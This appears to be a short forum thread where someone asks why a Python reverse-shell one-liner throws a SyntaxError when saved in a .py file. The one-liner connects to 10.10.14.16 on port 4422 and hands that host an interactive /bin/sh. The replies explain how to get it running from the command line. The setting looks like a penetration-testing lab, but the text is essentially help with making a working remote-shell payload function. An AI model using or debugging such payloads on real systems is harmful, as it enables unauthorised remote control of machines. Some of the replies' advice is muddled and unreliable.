I am trying to get this python shell to work but I keep getting error. Do you know why? Ive tried a few diffrent ways
File “test.py”, line 1
python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“10.10.14.16”,4422));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,“-i”]);’
SyntaxError: invalid syntax
It looks like that your script is a bash script vs a python one (python -c should be run on the command line not in a .py file).
Try running the whole thing from the command line instead and see if that works (or try running the .py script without the “python -c” part).
remove the -c 'import socket,subprocess,os and at end make sure you have the commas “;”
not so [“/bin/sh”,“-i”]);’
If a syntax error appears, check to make sure that the parentheses are matched up correctly. If one end is missing or lined up incorrectly, then type in the correction and check to make sure that the code can be compiled. Keeping the code as organized as possible also helps.